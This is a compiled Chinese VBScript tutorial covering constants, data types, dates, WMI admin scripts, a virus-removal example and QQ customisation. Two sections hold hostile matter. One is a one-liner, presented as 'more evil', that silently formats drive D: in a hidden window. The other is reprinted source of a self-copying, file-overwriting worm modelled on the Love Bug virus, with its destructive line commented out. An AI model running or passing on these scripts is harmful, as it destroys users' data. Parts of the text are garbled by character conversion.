使用固有常量
在VB 的腳本中有一些固有的常量,用來生成message box,改變輸入格式,或者實現(xiàn)其它一
些其它的功能。為了提高程序的可讀性,你可能需要用這些常量,而不是它們對應等價的數(shù)字。
例如,下面的腳本例子用數(shù)字來實現(xiàn)message box 的顯示,然后決定在message box 中, 哪
個按鈕被按下了。盡管它可以正常的工作,但是對于不熟悉VB 腳本的人來說,這個腳本很難
懂并且很不好編輯。他們必須知道260 的意思是:創(chuàng)見一個帶有yes& no 的message box,并
且第二個按鈕是默認的按鈕,數(shù)字7 代表用戶敲打NO 那個按鈕。
ConfirmDelete = MsgBox ("Are you sure you want to delete thesefiles?",260, "Delete all files")
If ConfirmDelete = 7 then
Wscript.Quit
End If 作者:臨汾市外事旅游局薛靖瀾,轉(zhuǎn)載請注明出處]
下面這個修正的腳本用了VBS 的固有常量。(VBYesNo,VBDef aultButton2,和VBNo)用來代替
數(shù)字。這些使腳本看起來簡單易懂。
ConfirmDelete = MsgBox ("Are you sure you want to delete thesefiles?", _
VbYesNo OR VBDefaultButton2, "Delete all files")
If ConfirmDelete = VbNo then
Wscript.Quit
End If
用固有常量同樣可以幫助你防止當腳本Update 的時候使腳本實現(xiàn)中斷。腳本的常量基本上不
可能發(fā)生變化。幾乎不可能將VbYesNo 變成VbNoYes。但是這些常量對應的值會在腳本下次
更新的時候更換。用系統(tǒng)常量的時候也方便和其它出現(xiàn)的語言的腳本合并,例如,在VB 腳本
中,1 用來代表true。在visual basic.net,true 也等于1。用true 這個固有常量,比用硬編碼
1 更加容易實現(xiàn)二者之間的轉(zhuǎn)換。大部分的時候,你會發(fā)現(xiàn)你經(jīng)常重復的使用到如下兩個固有
常量:
1、VbCrLf.這個等同于按下回車鍵。它經(jīng)常用來更改輸出顯示的格式。例如,如下代碼用來顯
示一行文字,一個空的行,然后再顯示一行文字
Wscript.Echo "This is the first line of text." &VbCrLF & VbCrLF & _
"This is the second line of text."
2、VbTab 這個常量等同于按下TAB 鍵,例如,如下代碼來建立三個空格: 作者:臨汾市外
事旅游局薛靖瀾,轉(zhuǎn)載請注明出處]
Wscript.Echo " 1" & VbTab & " 2"& VbTab & " 3"
Wscript.Echo "A" & VbTab & "B"& VbTab & "C"
Wscript.Echo "D" & VbTab & "E"& VbTab & "F"
當上面這個腳本運行的時候,它將顯示如下:
1 2 3
A B C
D E F
這些固有常量只有在用VB 寫的時候才有用,它沒有權(quán)力去用類似WMI,ADSI 或者腳本的自
動控制的對象。在用VB 腳本寫的時候,你可以不用定義就使用Vb 當中固有的常量,比如
VbCrlf,VbYesNo,但是,當你用WMI,ADSI 當中常量的時候,你必須顯式的聲明這些常量。
例如,在Script Runtime Drive 對象當中有個固有常量fixed 用來表示fixed diskdrive,Script
Runtime 可以用這個fixed 而不需要顯式的聲明,不用賦值給它……
因為VB 腳本沒有權(quán)力訪問這個常量,所以任何試圖不去定義就訪問這個常量的腳本都會失敗
或者遇到一個錯誤。例如,如下的腳本可以運行,但是不能標識任何一個你計算器上的fixed 硬
盤。
Set objFSO = CreateObject("Scripting.FileSystemObject")
Set colDiskDrives = objFSO.Drives
For Each objDiskDrive in colDiskDrives
If objDiskDrive.DriveType = Fixed then
Wscript.Echo objDiskDrive.DriveLetter
End if
Next
這個腳本會執(zhí)行失敗,因為VB 腳本并不知道Fixexd 這個系統(tǒng)常量的值是2,取而代之的是
將這個阿常量認為是一個變量。除非你把這個常量賦值,否則它的值就是empty.在這個例子
中,VB 將尋找DriveType property 的值等于0 而不是去尋找等于2,因為VB 找不到任何這
樣屬性的drives,腳本就沒有返回任何的數(shù)據(jù)…… 為了使這個腳本工作,你必須創(chuàng)建一個你
自己的常量,叫作fixed,并且顯式的賦值給它為2, 如下面的事例:
Const Fixed = 2
Set objFSO = CreateObject("Scripting.FileSystemObject")
Set colDiskDrives = objFSO.Drives
For Each objDiskDrive in colDiskDrives
If objDiskDrive.DriveType = Fixed then
Wscript.Echo objDiskDrive.DriveLetter
End if
Next
==============================
VBS 腳本參考之四——腳本的數(shù)據(jù)類型
VBScript 的數(shù)據(jù)類型
VBS 是一個有著很少數(shù)據(jù)類型的腳本語言,其并不限制變量為一種單一的數(shù)據(jù)類型。VBS 不允
許你定義一個特定數(shù)據(jù)類型的變量。實際上,VB 腳本只有一種變量類型,叫作variant,它可
以存儲任何類型的數(shù)據(jù)。與其相反,其它程序語言比如C++是一個對數(shù)據(jù)類型要求很嚴格的,
因為你必須事先定義變量能存儲的數(shù)據(jù)類型。如果你試圖存儲任何數(shù)據(jù)在一個變量上,它將會
報錯。如果你已經(jīng)將一個變量賦予特定的數(shù)字數(shù)據(jù),那么你再將字母變量賦值給它的時候,它
將崩潰。作者:臨汾市外事旅游局薛靖瀾,轉(zhuǎn)載請注明
Variants 可以使腳本編寫變得簡單。你可以在沒有定義數(shù)據(jù)類型的時候宣告并使用。但是如果
你不了解數(shù)據(jù)類型的強制過程,那么variants 會導致一系列的問題。
腳本語言所說的腳本無類,其實是針對腳本編寫的人員來說的,對于腳本內(nèi)部來講,腳本還是
要依照數(shù)據(jù)類型來工作。例如下面這個簡單的表達式c= a + b 腳本語言必須給a,b 都賦值(有
一定數(shù)據(jù)類型的值),也就是說,它必須建立并確定這兩個數(shù)值是為integer 還是string。當這
些值被定下來之后,它才可以執(zhí)行相關(guān)的操作。
腳本的數(shù)據(jù)類型賦值的初始化過程是一種數(shù)據(jù)類型強制轉(zhuǎn)換的過程。數(shù)據(jù)類型的強制過程是基
于特定的規(guī)則的,大部分的時候,VB 腳本可以很順利的完成這個任務。作者:臨汾市外事旅
游局薛靖瀾,轉(zhuǎn)載請注明
但是,類型轉(zhuǎn)換一樣會導致問題的發(fā)生,例如下面這個例子:
intFirstNumber = InputBox("Please enter the first number:")
intSecondNumber = InputBox("Please enter the second number:")
intTotal = intFirstNumber + intSecondNumberi
Wscript.Echo intTotal
如果你運行這個腳本,并且先后鍵入4,2,那么計算器會回顯一個42 來作為4+2 的結(jié)果,而
不是你期待的6。
這是因為,加法運算對于number 和string 來說都是合法的。VB 腳本給了4,2 兩個值,但是它
不知道數(shù)據(jù)類型,于是,在沒有其它的關(guān)于數(shù)據(jù)類型的相關(guān)信息的情況下, VB 腳本就用類型
強制的辦法將這兩個變量轉(zhuǎn)換成了string 數(shù)據(jù)。
與其相反,如果你在下面一小段代碼中鍵入4,2 它將會返回正確2,這是因為除法運算只是針
對numbers 來作的,所以VB 就用數(shù)據(jù)強制正確的將這兩個變量轉(zhuǎn)換成了number 數(shù)據(jù)。
intFirstNumber = InputBox("Please enter the first number:")
intSecondNumber = InputBox("Please enter the second number:")
intTotal = intFirstNumber / intSecondNumber
Wscript.Echo intTotal
為了避免類似的數(shù)據(jù)強制的時候發(fā)生問題,你需要顯式的聲明一個變量,這個過程叫做類型初
始化。例如如下的VB 代碼用VB 腳本的CInt 來在他們想加之前將輸入的變量轉(zhuǎn)換為整數(shù)
型。
intFirstNumber = CInt(InputBox("Please enter the firstnumber:"))
intSecondNumber = CInt(InputBox("Please enter the secondnumber:"))作者:臨汾市外事旅游局薛
靖瀾,轉(zhuǎn)載請注明
intTotal = intFirstNumber + intSecondNumber
Wscript.Echo intTotal
此類常見的函數(shù)有:Cbool、Cbyte、Ccur、Cdate、CDbl、Cint、CLng、CSng、CStr 等。
了解empty 和Null 之間的不同,對于你腳本的成功與否,起著關(guān)鍵的作用。Empty 變量是一個
沒有初始化的變量,錄入,你用dim 語句定義一個curBonus 的變量,這個變量在沒有賦給它
特定的值的時候,它就是empty 的。一個empty 的變量在數(shù)據(jù)強制的時候,如果是number 變
量就賦值給它0,如果是string 的時候,就賦值給它”” ( 空)。
與其相反,Null 是一個沒有合法的賦值的變量。典型的null 是從數(shù)據(jù)庫操作中產(chǎn)生的。假如
你查詢一個數(shù)據(jù)庫,想返回一個當前的分紅給一個特定的員工,并且將這個值賦給curBonus ,
如果沒有分紅被分配(賦值),那么變量curBonus 就是Null.注意,curBonus 可以是0,但是
你不能確定它就是0。你不能假定它的值是0,因為,有可能的是它實際上有5000 美元的分
紅, 但是這個值還沒有被輸入到數(shù)據(jù)庫中。這就是為什么VB 腳本要將empty null 這二者加
以區(qū)別的原因。二者的區(qū)別在數(shù)字運算的時候就更加的明顯。例如,在下面的腳本片斷中,
curBonus 被設置成empty,然后將它加上curBaseSalary(50000),那么計算的結(jié)果是:50000 + 0=
50000
curBonus = Empty
curBaseSalary = 50000
curTotalCompensation = curBaseSalary + curBonus
Wscript.Echo TotalCompensation
在下面的版本中,繼續(xù)同樣的操作,只是將curBonus 的值設定成Null,當你再次運行這個腳
本的時候,你會發(fā)現(xiàn)你不是得到結(jié)果50000,而是Null.任何時候,Null 這個變量在參與數(shù)字運
算的時候,它的結(jié)果是null 這是因為你并不知道NULL 的真正的值,你不能將它的值賦予為
0,因為你不知道它的值是否真的是0。因為你不知道它的值,也就不知道它計算的結(jié)果,這
樣結(jié)果只能是null.(你可以這樣認為:null 的含義是:我不知道。)
curBonus = Null
curBaseSalary = 50000
curTotalCompensation = curBaseSalary + curBonus
Wscript.Echo TotalCompensation
Null 值在和數(shù)據(jù)庫和ADSI 一起工作的時候就會出現(xiàn)錯誤。幸運的是,你可以使用IsNull 的
辦法來確定這個變量是否為Null.例如,下面的腳本來檢察curBonus 是否為null,如果值是
null 的話,那么賦值給它為0。這樣可以使他們在計算中生效。當然你也可以選擇來回顯一個
信息框:No bonus information available for this employee."
curBonus = Null 作者:臨汾市外事旅游局薛靖瀾,轉(zhuǎn)載請注明
curBaseSalary = 50000
If IsNull(curBonus) Then
CurBonus = 0
End If
curTotalCompensation = curBaseSalary + curBonus
Wscript.Echo curTotalCompensation
================================
VBS 腳本參考之五——時間和日期
VB腳本用以下三個功能來標識當前的日期,時間或者全部。
Now – 獲得當前的日期和時間
Date – 獲得當前的日期
Time –返回當前的時間
如:DateInfo = DateInfo & Now &VbCrLf
DateInfo = DateInfo & Date &VbCrLf
DateInfo = DateInfo & Time &VbCrLf
Wscript.Echo DateInfo
Verifying That a Value Is a Date
在用dates 工作的時候,確定這個數(shù)據(jù)是時間還是其他是非常重要的。這個對于WMI 查詢和
對數(shù)據(jù)庫進行相關(guān)操作的時候十分重要。在這些情況下,如果你使用了非法的日期類型,腳本
將會報錯。而IsDate 的功能就是告訴你這個數(shù)據(jù)是不是一個日期的值。當這個值不是一個日期
的時候,他返回一個false(0),如果是一個日期,就返回一個true(1),日期的值可以用以下方法
標識:用#號來標識時間。這是一種被推薦的辦法。因為這樣的辦法消除了防止VB 腳本將其
它非日期的數(shù)據(jù)解釋成日期的可能。如:
#9/3/2002# ,說明:中文系統(tǒng)格式為#年/月/日#。
當然為了確保日期的格式合法,你也可以打開計算機“區(qū)域和語言”選項,然后選擇自定義,來
進行設置。
下面這個腳本創(chuàng)建一個數(shù)組,然后列舉里面的數(shù)值。這個腳本用IsDate 來決定是不是為合法的
日期,并且回顯出來這個合法的日期和一段消息,來表示這個是合法的日期。
DateArray = Array("6/1/2002", "June 1, 2002", "6", "6/1")
For Each dtmDate in DateArray
If IsDate(dtmDate) = 0 Then
Wscript.Echo dtmDate & " is not a validdate."
Else
Wscript.Echo dtmDate & " is a valid date."
End If
Next
說明:為什么6/1 也是一個合法的日期?因為在vb 腳本中使用IsDate 函數(shù)的時候,如果腳
本遇到一個似是而非的日期時如6/1 的month/day 的時候, 他自動的添加當前的年份,而變
成了month/day/year,在上面的這個腳本中,運行的年份是2002 年,所以這個日期就變成了
6/1/2002,這個是一個合法的日期。
Retrieving Specific Portions of a Date and Time Value
大部分的時候,你所感興趣的只是時間或者日期的一部分。例如,你可能有一個備份的腳本,
只有在周日或者不是周末的時候來備份你的數(shù)據(jù)。這樣,你可能每天都獲得你的事件日志,在
每月的15,30 號清除日志。
VB 腳本用兩種特別的辦法來的獲得當前的日期和時間的一部分。DatePart 函數(shù)可以獲得當前
日期時間的任何部分。此外VB 腳本還提供了其它諸如:Day ,Month,Year 這樣的函數(shù)來獲得日
期或者時間的一部分。DatePart 可以獲得當前日期時間的特殊部分,它要求兩個參數(shù):
Yyyy-年份,返回當前的時間值的年份
q-季度,返回當前季度。
m-月份,返回當前的月份信息
1 – January 2 – February 3 – March 4 – April
5 – May 6 – June 7 – July 8 – August
9 – September 10 – October 11 – November 12 - December
y-一年中的多少天,返回當前日期的數(shù)值。從1 月1 號起算到12 月31 號為止。如2 月1
號是這個年的第32 天。
d-日。返回是這個月的多少天。例如4 月17 日,則返回17
w-周幾,返回當前周的周幾的信息。
1 – Sunday 2 – Monday 3 – Tuesday 4 - Wednesday
5 – Thursday 6 – Friday 7 Saturday
ww-一年中的第多少周,返回當前周的信息, 1 月1 號認為是第一周,12 月31 號是第
52 周。盡管如此,你仍然可以確定哪周是一年中的第一周。
H-小時。返回一天24 小時的格式中是第多少個小時。例如,下午2:00 會返回14,下午6:00
會返回18。在午夜到凌晨一點的時候,返回的值是0,午夜12 點返回的也是0。
n-分鐘,返回當前時間的分鐘。
s-秒數(shù):返回是當前分鐘的秒數(shù)。
為了使用DatePart 這個函數(shù),你可以創(chuàng)建一個變量并且賦值給它。例如如下的代碼將你計算機
上當前的時間的年份賦值給變量CurrentYear
CurrentYear = DatePart("yyyy", Date)
在上面的例子中,用到了如下兩個參數(shù):
"yyyy 表示從特定的日期返回年份,這個參數(shù)必須放在引號以內(nèi)。
Date 用來解析的當前的日期,你也可以把特定的日期用引號括起來(例如”6/1/2002”)或者用
一個變量來賦值個一個DATE,例如如下兩行代碼返回值為1997
DateToCheck = #8/15/1977#
CurrentYear = DatePart("yyyy" , DateToCheck)
注意:當將一個日期賦值給一個變量的時候,你可以用#將日期放在中間。這樣保證vb 腳本
認為它是日期,而不是數(shù)字或者字符串等變量。當然你也可以用CDate 函數(shù)來實現(xiàn)這個功能。
下面腳本解析出當前的日期,然后顯示出當前日期的分支(組成部分)。
Wscript.Echo Now
Wscript.Echo "Year: " & DatePart("yyyy" ,Now)
Wscript.Echo "Quarter: " & DatePart("q", Now)
當你給DatePart 函數(shù)一個錯誤時間時,它不會報錯,但是不會返回你期待的結(jié)果。例如,如下
代碼想返回1899:
Wscript.Echo DatePart("yyyy", "8:00 AM")
這行代碼返回的是0
Wscript.Echo DatePart("h", "12/1/2002")
除了DatePart 函數(shù)以外,還其它函數(shù)同樣可以更改時間的值。如:
Day、Hour、Minute 、Month、Second、Weekday、Year 等
例如:
CurrentDate = Now
Wscript.Echo "Year: " & VbTab &VbTab & Year(CurrentDate)
============================
VBS 編程打造自己的病毒專殺工具-轉(zhuǎn)自余弦函數(shù)
VBS病毒應該來說還是挺流行的,其力量不可小覷啊!用VBS 寫一只普通病毒(蠕蟲)沒有什
么難度,寫病毒專殺工具也是沒什么難度的。但在寫出專殺工具前必須了解你要殺的這只病毒
的一些信息……比如:病毒釋放的文件,感染的文件,注冊表與進程里的病毒信息等等。
一、首先來看如何結(jié)束病毒進程,之前我在《兩個簡易VBS 腳本結(jié)束進程與防止進程啟動》給
出了關(guān)于進程的一些操作方法。假如要結(jié)束的病毒進程為rund1132.exe(32 之前是兩個數(shù)字1),
看下面代碼:
set w=getobject("winmgmts:")?? '創(chuàng)建WMI 對象,執(zhí)行后面的查詢。
set p=w.execquery("select * from win32_process wherename='rund1132.exe'")
for each i in p
i.terminate
next
二、雙擊執(zhí)行這段代碼就可以結(jié)束rund1132.exe 進程,這為后面的殺毒提供方便。病毒進程一
被結(jié)束就要馬上將其文件給刪掉! 假如病毒相關(guān)文件為c:windowsrund1132.exe 與
c:windowssystem32explorer.exe,它們皆為隱藏文件??聪旅娲a:
set fso=createobject("scripting.filesystemobject") '創(chuàng)建fso對象,此對象以后介紹……
set v1=fso.getfile("c:windowsrund1132.exe")
set v2=fso.getfile("c:windowssystem32explorer.exe")
v1.attributes=0 '設置文件為正常屬性值,即隱藏文件就被還原成正常文件了!
v2.attributes=0 '當病毒文件多時,可以使用for 語句。
fso.deletefile("c:windowsrund1132.exe")
fso.deletefile("c:windowssystem32explorer.exe")
執(zhí)行這段代碼,病毒文件就被Killed 了……刪除病毒的感染文件也是創(chuàng)建fso 對象,然后進行
盤符、文件夾、文件遍歷查找,使用ext=lcase(fso.GetExtensionName(file))這樣的表達式來獲取
所有文件的后綴,最后將ext 值與被已知感染文件的后綴(比如.exe)進行判斷,如果為真則刪
除此此文件……思路給出了,代碼有點長有點復雜就不黏貼上來了。其實如果有可能去分析“愛
蟲VBS 病毒”的代碼,就會發(fā)現(xiàn)它在感染文件時使用的正是這樣的遍歷、后綴判別的方法……
三、注冊表是關(guān)鍵。有些病毒是很變態(tài)的,將系統(tǒng)的許多功能都給禁用了,還往注冊表里塞一
大堆垃圾信息……它要是把WSH(windows 腳本宿主)給禁用了或破壞了那我們辛辛苦苦寫的
VBS 專殺工具就沒法使用了,我感覺VBS 寫出來的專殺是有一定的局限性的……不過對付不這
么變態(tài)的病毒還是可以的!
比如: 此病毒禁用了“ 任務管理器” 、然后在注冊表中添加下面的值來實現(xiàn)開機自啟動
"HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRunrun","c:windo
wsrund1132.exe"。如何修復?看下面代碼:
set reg=wscript.createobject("wscript.shell") '創(chuàng)建wscript對象,進行下面的注冊表操作!
'reg.regwrite 恢復禁用的任務管理器
reg.regwrite
"HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesSystemDisableTa
skMgr",0,"REG_DWORD"
'reg,regdelete 刪除病毒的自啟動項
reg.regdelete
"HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRunrun"
到此用VBS 打造自己的病毒專殺工具就有成形了,框架就是這樣。根據(jù)不同的病毒特征寫出不
同的專殺工具。
===================================
后臺偷偷運行程序的VBS-轉(zhuǎn)自余弦函數(shù)
Set objShell = CreateObject("Wscript.Shell") '創(chuàng)建Wscript.Shell對象
objShell.Run("wmplayer.exe D:music.wma"), 0, TRUE'調(diào)用wmplayer.exe(Windows Media Player)
運行music.wma 文件
執(zhí)行了這段代碼,音樂就在后臺打開了,起到“后臺運行”功能主要是第二行代碼的參數(shù)0,默認
是值為1。好了~~~模型給出,現(xiàn)在你可以自己去構(gòu)造代碼了??次覙?gòu)造個更邪惡的!
Set objShell = CreateObject("Wscript.Shell")
objShell.Run("%comspec% /k format /q D:"), 0, TRUE
如何?后臺默默地快速格式化你的D 盤!
==============================
vbs 病毒的簡單例子源代碼解析-轉(zhuǎn)自中國批處理聯(lián)盟論壇
說明:作者對某些代碼進行了修改。該文件是一個完整的程序。該文件執(zhí)行之后,會尋找硬盤
上所有滿足條件的文件,對其進行強制性覆蓋(滿足條件的文件數(shù)據(jù)將全部丟失)、并再創(chuàng)建一
個相同文件名但后帶.vbs 的文件。因此,請注意設立好破壞測試條件,千萬不要對他人進行測
試,否則,一切后果自負。
dim folder,fso,foldername,f,d,dc
set fso=createobject("scripting.filesystemobject")
set self=fso.opentextfile(wscript.scriptfullname,1)
vbscopy=self.readall '讀取病毒體,以備復制到文件
self.close
set dc=fso.Drives
for each d in dc
if d.drivetype=3 or d.drivetype=2 then '檢查磁盤類型
wscript.echo d '彈出窗口,顯示找到盤符
scan(d)
end if
next
lsfile=wscript.scriptfullname '該腳本程序路徑
set lsfile=fso.getfile(lsfile)
lsfile.delete(true) '病毒運行后自我刪除(本人自加,愛蟲病毒本身沒有該代碼)
sub scan(folder_)
on error resume next
set folder_=fso.getfolder(folder_)
set files=folder_.files
for each file in files
ext=fso.GetExtensionName(file) '獲取文件后綴
ext=lcase(ext) '后綴名轉(zhuǎn)換成小寫字母
if ext="mp5" then '如果后綴名是mp5,當然不存在這種文件,這里可以自己修改,但是注意。請
自己建立相應后綴名的文件,最好是非正常后綴名
set ap=fso.opentextfile(file.path,2,true)
' ap.write vbscopy '覆蓋文件,慎用
ap.close
set cop=fso.getfile(file.path)
cop.copy(file.path & ".vbs") '創(chuàng)建另外一個病毒文件
' file.delete(true) '刪除原來文件
end if
next
set subfolders=folder_.subfolders
for each subfolder in subfolders '搜索其他目錄
scan(subfolder)
next
end sub
===================================
轉(zhuǎn)幾個WMI 腳本,頭一個是:關(guān)機、注銷或者重啟的腳本
'========================================================================
==
''
注銷/重起/關(guān)閉本地Windows NT/2000 計算機。基本思路如下:
''
Win32ShutDown(flag)中flag 的參數(shù):
' 0 注銷
' 0 + 4 強制注銷
' 1 關(guān)機
' 1 + 4 強制關(guān)機
' 2 重起
' 2 + 4 強制重起
' 8 關(guān)閉電源
' 8 + 4 強制關(guān)閉電源
''========================================================================
==
main
sub main()
shutdown
end sub
Sub ShutDown()
Dim Connection, WQL, SystemClass, System
Set Connection = GetObject("winmgmts:rootcimv2")
'http://hi.baidu.com/xuejinglan
WQL = "Select Name From Win32_OperatingSystem"
Set SystemClass = Connection.ExecQuery(WQL)
For Each System In SystemClass
System.Win32ShutDown (0+4)
Next
End Sub
=================================
WMI 腳本:收集計算機硬件信息
'========================================================================
==
''
都差不多,腳本中沒有列出來的還有:
' 用戶名:Win32_UserAccount
' 已經(jīng)使用的盤符:Win32_LogicalDisk
' 所有共享:Win32_share
' 所安裝的打印機:Win32_Printer
' 計算機的主板:Win32_BaseBoard
' 1394 采集卡:Win32_1394Controller
' 筆記本電池:Win32_Battery
' BIOS 的:Win32_BIOS
' 物理總線的:Win32_Bus
' 系統(tǒng)緩存內(nèi)存:Win32_CacheMemory
' 光驅(qū):Win32_CDROMDrive
''
========================================================================
==
Set wmi=GetObject("winmgmts:")
msg=""
Set cpus=wmi.instancesof("win32_processor")
msg=msg & "CPU:"
For Each cpu In cpus
msg=msg+cpu.caption & vbcrlf &"型號為:" <rim(cpu.name) & vbCrLf& vbCrLf
Next
'http://hi.baidu.com/xuejinglan
Set mem=wmi.instancesof("win32_computersystem")
For Each m In mem
msg=msg&"內(nèi)存:"&Round((m.totalphysicalmemory/1024^2),2)&"M"& vbCrLf & vbCrLf
Next
Set display=wmi.instancesof("Win32_videocontroller")
msg=msg&"顯示卡:"
For Each video In display
msg=msg&video.deviceid & vbCrLf&video.name & vbCrLf& vbCrLf
Next
Set disks=wmi.instancesof("win32_diskdrive")
msg=msg&"硬盤:"
For Each d In disks
If int(d.size /(1024^3))=0 Then
n=Round(d.size/(1024^2),2)&"M"
Else
n=Round(d.size/(1024^3),2)&"G"
End If
msg=msg+d.caption & vbcrlf & "總?cè)萘浚? & n & Chr(13)
Next
MsgBox msg,0,"計算機主要硬件參數(shù)"
======================================
轉(zhuǎn)個自動排列桌面圖標的腳本
'========================================================================
==
''
使桌面圖標重排的腳本,設計的很奇妙,也學到了以前沒有接觸的東西
' SCF 文件是“WINDOWS 資源管理器命令”文件,它也是一種可執(zhí)行文件.
' 由Windows Explorer Command 解釋,標準安裝,包括下面3 個該類型的文件
' 1) Explorer.scf(資源管理器)
' [Shell]
' Command=2
' IconFile=explorer.exe,1
' [Taskbar]
' Command=Explorer
' 2)Show Desktop.scf(顯示桌面)
' 格式類似如下:
' [Shell]
' Command=2
' IconFile=explorer.exe,3
' [Taskbar]
' Command=ToggleDesktop
' 3)View Channels.scf(查看頻道)
' [Shell]
' Command=3
' IconFile=shdocvw.dll,-118
' [IE]
' Command=Channels
''
========================================================================
==
Dim WshSHell,FSO
On Error Resume Next
Set WshSHell = WScript.CreateObject("WScript.Shell")
Set FSO = CreateObject("Scripting.FileSystemObject")
Set OF =FSO.OpenTextFile(FSO.BuildPath(FSO.GetSpecialFolder(1),"ShowDisktop.SCF"),2,True)
'此行代碼有點復雜,其實包含了3 行代碼
'第一行:a=FSO.GetSpecialFolder(1) 取得從c:windowssystem32 文件夾地址
'第二行:b=(FSO.BuildPath(a,"ShowDisktop.SCF")在system32文件夾下建立ShowDisktop.scf 文
件
' buildpath 函數(shù)自動在路徑和文件名間加
'第三行:set of= FSO.OpenTextFile(c) 以寫方式打開showdisk.scf 文件
OF.Write("[Shell]"&vbcrlf&"Command=2"&vbcrlf&"IconFile=explorer.exe,3"&vbcrlf&"[Taskbar]"
&vbcrlf&"command=ToggleDesktop")
'寫入相關(guān)命令
OF.Close
if (WshShell.CurrentDirectory = WshShell.SpecialFolders("Desktop"))= "False" then
'判斷腳本是否在桌面,是直接執(zhí)行,否則運行scf 顯示桌面
WshSHell.Run("ShowDisktop.SCF")
end if
WScript.Sleep 500
WshSHell.SendKeys "{F5}+{F10}IA" 'F5 刷新桌面,shift+F10 呼叫出右鍵菜單,ia刷新
Set WshSHell = Nothing
Set FSO = Nothing
WScript.Quit
===================================
WMI 腳本:建立和刪除共享文件夾
'========================================================================
==
''
在局域網(wǎng)建立共享的腳本
' GetObject 函數(shù)用Monike r 名字法連接到WMI 創(chuàng)建引用在本機有三步
' 1、"winmgmts:"是前綴, 表示為WMI 服務,必須
' 2、\."代表本機,
' 3、CIM 命名空間:"rootcimv2"就是CIM 命名空間,缺省可省略
' 4、建立共享主要使用Win32_Share 類的Create 函數(shù)'
'http://hi.baidu.com/xuejinglan
' int Create //0 表示成功完成
' (String SharePath; //共享路徑,就是你要共享的文件夾的的路徑
' String ShareName; //共享后,訪問時的標示名稱
' Int ShareType; //共享類型,一般賦0 即可,表示磁盤共享
' Int MaxUsers; //最大用戶數(shù)
' String Description; //描述
' String PassWord; //訪問密碼
' )
''
========================================================================
==
Const FILE_SHARE = 0
Const MAXIMUM_CONNECTIONS = 25
strComputer = "."
Set objWMIService = GetObject("winmgmts:" &strComputer & "rootcimv2")
Set objNewShare = objWMIService.Get("Win32_Share")
errReturn = objNewShare.Create _
("C:Finance", "FinanceShare", FILE_SHARE, _
MAXIMUM_CONNECTIONS, "Public share for the Finance group.")
If errReturn =0 Then MsgBox "共享文件設置成功!"
'========================================================================
==
''
刪除共享用Delete 函數(shù),沒有任何參數(shù)
' 只要用WQL 篩選出符合條件的共享,調(diào)用函數(shù)就可以了
''
========================================================================
==
strComputer = "."
Set objWMIService = GetObject("winmgmts:" &strComputer & "rootcimv2")
Set colShares = objWMIService.ExecQuery _
("Select * from Win32_Share Where Name = 'FinanceShare'")
For Each objShare in colShares
objShare.Delete
Next
====================================
WMI 腳本:修改磁盤卷標
'========================================================================
==
''
修改磁盤卷標
' 在Windows 中,WMI 主要是一個讀取信息的技術(shù),我這樣理解不知道對不對
' 但是我知道絕大多數(shù)的類都不允許對其屬性進行修改,
' Win32_LogicalDis k 是我知道的少數(shù)允許修改屬性的類
' 當然修改屬性完成后不要忘記用Put_方法提交改變
' 代碼很簡單就不仔細解釋了,當然磁盤卷標不要起的太長
''
========================================================================
==
'http://hi.baidu.com/xuejinglan
strComputer = "."
Set objWMIObject = GetObject("winmgmts:" &strComputer & "rootcimv2")
Set colDevices = objWMIObject.ExecQuery _
("Select * from Win32_LogicalDisk Where DeviceId = 'D:'")
For Each objDevice in colDevices
objDevice.VolumeName = "工作盤"
objDevice.Put_
Next
==============================================
Vbs 腳本應用——打造個性化QQ
昨天,要找一個以前寫的vbs 腳本,可是當時寫的就隨便,名起的也糊涂,就搜索了一下,咦!~ ~
QQ 下怎么還有vbscript.dll 和vbscript.vbs 這么兩個文件來著???我實在太奇怪了。復制出來,
打開看看。當然是先看腳本啦!
我暈倒,居然是真正的vbs 腳本文件,哦,幾個函數(shù)似乎在腳本里沒有定義,不過很正常,現(xiàn)
在好多軟件都是這么干的。挨個往下看, Window_OnSize(cx,cy)大概是拉伸面板時調(diào)用的吧,
Window.LockPaint() 鎖定繪圖,當然了還有onClick、onMouseMove、onMouseLeave等等都是
響應事件的函數(shù),Window.ExeCommand 1,2 這是干什么的,網(wǎng)上搜搜,Window.ExeCommandn,m
是QQ 內(nèi)部的一些命令,n、m 值如下的時候代表不同的操作:1,1 皮膚管理器;1,2 最小化;1,3
close;4,1 ChatRoom;4,2 發(fā)送手機短信;4,3 search;4,4 騰訊瀏覽器;4,5 Game;4,6信息管
理器;4,7 color;4,8 個人帳戶;4,9 面板選擇;4,10 Mail 相關(guān);50,1 顯示信息;60,2個人設
置;7,1 Mail;15,1 host
呵呵,太好了,讓我修改它一下看看,有響應沒有。得了,撿不如撞,就在Window_OnSize(cx,cy)
函數(shù)的響應后添加一個msgbox “你確定要改變嗎?”退出qq,再次進入,拖動邊框,呵呵,出
來了。好了,再加一句:createobject(“wscript.shell”).run“notepad.exe”,呵呵,退出qq,再次進
入,拖動邊框,咦?!沒有反應?百度一下,哦,QQ 自帶的vbscript.dll 文件不支持外部調(diào)用,
要外部調(diào)用,必須用破解的vbscript.dll 文件覆蓋原來的?太麻煩了,要不用系統(tǒng)自帶的覆蓋行
不行?試驗一下,呵呵,可以!趕緊試試其他的按鈕啊,功能啊什么的有沒有變化?似乎沒有,
那!?QQ 自己帶的這個vbscript.dll 到底干了些什么工作?還是有什么我沒有發(fā)現(xiàn)?!不管它,
我們接著來,比如說,我的QQ 上的那個收發(fā)郵件的那個按鈕我從來也不用,放著也是閑著,
要不……,把它換成我常用的記事本程序,可以方便我在聊天的時候粘貼從網(wǎng)上復制下的好文
章, ok , 讓我搜索一下mail , 找到Sub MailButton_onClick() 函數(shù), 在函數(shù)代碼
Window.ExeCommand 7,1 前加一個小小的‘ ,然后加入一行代碼:
createobject(“wscript.shell”).run“notepad.exe”,退出,重新進入,單擊“收發(fā)郵件”按鈕,呵呵記
事本打開了??墒巧厦嬖趺蠢鲜秋@示收發(fā)郵件啊,怎么能改一下呢?百度一下,ok,圖表啊、
說明啊,都在Config.xml 文件中放著,壞了,xml 我不是很熟悉,不過沒關(guān)系,只要我認識漢
字就可以了,還是拿記事本打開看看,單擊搜索,填入收發(fā)郵件,找到,修改為“記事本”,保
存,退出QQ,再次進入,呵呵,鼠標移到那個圖標上,顯示“記事本”。完成、
